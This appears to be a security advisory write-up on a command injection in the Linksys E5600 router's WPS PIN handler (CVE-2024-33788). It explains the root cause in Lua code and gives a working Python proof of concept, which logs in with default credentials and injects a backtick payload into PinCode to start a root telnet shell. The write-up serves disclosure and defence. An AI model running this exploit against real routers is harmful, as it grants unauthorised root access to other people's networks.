Skip to content
iotroutercommand-injectionwpsembeddedrce

E5600 Router WPS PIN Command Injection

3 min read

Target

Linksys E5600 router

Firmware version Affected
1.1.0.26 Yes

Assigned CVE: CVE-2024-33788 (PinCode parameter). A second command injection from the same research, via the ipurl parameter of the same /API/info endpoint, was assigned CVE-2024-33789 and is not covered in this post.

Vulnerability type

Command injection / remote code execution

Overview

A command injection vulnerability exists in the WPS PIN registration handler of the Linksys E5600 router. When submitting a device PIN via the router web interface path Configure -> Wi-Fi -> Wi-Fi Protected Config, the PinCode parameter is passed directly to os.execute() without validation. This lets an authenticated attacker inject arbitrary shell commands.

Root cause

The vulnerability is located at line 491 of squashfs-root/usr/share/lua/runtime.lua.

function runtime.wpsProcess(pt)
    local ret = '"OK"'
 
    print("wpsProcess")
 
    if pt["Mode"] == 'PBC' then
        os.execute("wps_action.sh PBC &")
 
    elseif pt["Mode"] == 'PIN' and pt["PinCode"] ~= nil then
 
[1]     cmd = 'wps_action.sh PIN '..pt["PinCode"]..' &'
[2]     os.execute(cmd)
 
    elseif pt["Mode"] == 'STOP' then
        print("wpsProcess STOP")
 
        cmd = 'ps | grep wps_action.sh | grep -v grep | awk \'{print $1}\' | xargs kill'
        os.execute(cmd)
 
    else
        print("wpsProcess Fail")
    end
 
    return ret
end

At [1], pt["PinCode"] is concatenated directly into the shell command string without any validation or escaping. At [2], the resulting string is passed to os.execute() and executed through the system shell. An attacker who controls PinCode can use shell metacharacters such as backticks (`) or $() to escape the intended command context.

Reproduction

import requests
import json
 
# Step 1: authenticate, then obtain the session cookie
url1 = 'http://192.168.1.1/cgi-bin/login.cgi'
data1 = {
    "username": "YWRtaW4%3D",
    "password": "YWRtaW4%3D",
    "token": "",
    "source": "web",
    "cn": "",
    "action": "auth"
}
response1 = requests.post(url1, data=json.dumps(data1))
 
# Step 2: command injection via the WPS PIN parameter
url2 = 'http://192.168.1.1/API/info'
headers2 = {
    'Host': '192.168.1.1',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36',
    'Content-Type': 'application/json',
    'Origin': 'http://192.168.1.1',
    'Referer': 'http://192.168.1.1/idp/idp_ping.html',
    'Cookie': response1.headers['Set-Cookie'].split(" ")[0],
}
data2 = {
    "wpsProcess": {
        "Mode": "PIN",
        "PinCode": "38316173`/usr/sbin/telnetd -l /bin/sh`"
    }
}
response2 = requests.post(url2, headers=headers2, data=json.dumps(data2))
print(response2.text)

The injected payload `/usr/sbin/telnetd -l /bin/sh` makes the router launch a telnet daemon bound to /bin/sh, allowing unauthenticated root shell access after the initial authentication step.

The command actually executed on the device:

wps_action.sh PIN 38316173`/usr/sbin/telnetd -l /bin/sh` &

The shell interprets the backtick-enclosed portion as command substitution, running /usr/sbin/telnetd -l /bin/sh before wps_action.sh executes.

Impact

A successful exploit grants root-level code execution on the router. An attacker with access to the router's admin interface (on the local network, or on a management port exposed externally) can:

  • Run a persistent backdoor shell (telnetd, dropbear)
  • Tamper with the routing table, DNS settings, and firewall rules
  • Sniff or redirect network traffic passing through the device
  • Use the device as a pivot point for internal network intrusion

Discovered by

CoreSecurity OT Research Team